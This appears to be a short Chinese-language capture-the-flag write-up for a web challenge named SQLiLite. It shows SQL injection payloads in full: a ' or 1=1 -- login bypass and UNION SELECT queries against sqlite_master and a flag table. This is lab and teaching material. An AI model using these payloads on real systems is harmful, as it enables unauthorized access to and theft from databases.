Description
Can you find the flag on this website.
Additional details will be available after launching your challenge
instance.Hints
SQLiLite
先隨便輸入個賬號密碼登錄一下,得到查詢SQL,接下來應該對SQL進行某些攻擊來繞過密碼登錄成功
-- username: admin
-- password: 123
SQL query: SELECT id FROM users WHERE password = '123' AND username = 'admin'
password 條件在 username 前,我們只能先搞定password了
使用' or 1=1 --
建如下sql,試一下
-- username: admin(隨便什么都行)
-- password: ' or 1=1 --
SELECT id FROM users WHERE password = '' or 1=1 --' AND username = 'admin'
登錄得到如下界面
填入信息search一下發現這里大概的sql語句為
SELECT name, address, phone FROM table_name WHERE name = '';
提示使用的SQLite數據庫,在 SQLite 中有個 sqlite_master
表,用來存儲數據庫表的一些信息,我們構建一個sql,用來展示都有哪些表及字段
' UNION SELECT name, sql, 1 FROM sqlite_master; --
SELECT name, address, phone FROM table_name WHERE name = '' UNION SELECT name, sql, 1 FROM sqlite_master;--';
得到上圖信息,發現more_table
中有個flag字段,我們構建一個sql來查詢,得到flag
' UNION SELECT 0, flag, 1 FROM more_table; --
SELECT name, address, phone FROM table_name WHERE name = '' UNION SELECT 0, flag, 1 FROM more_table; -- ';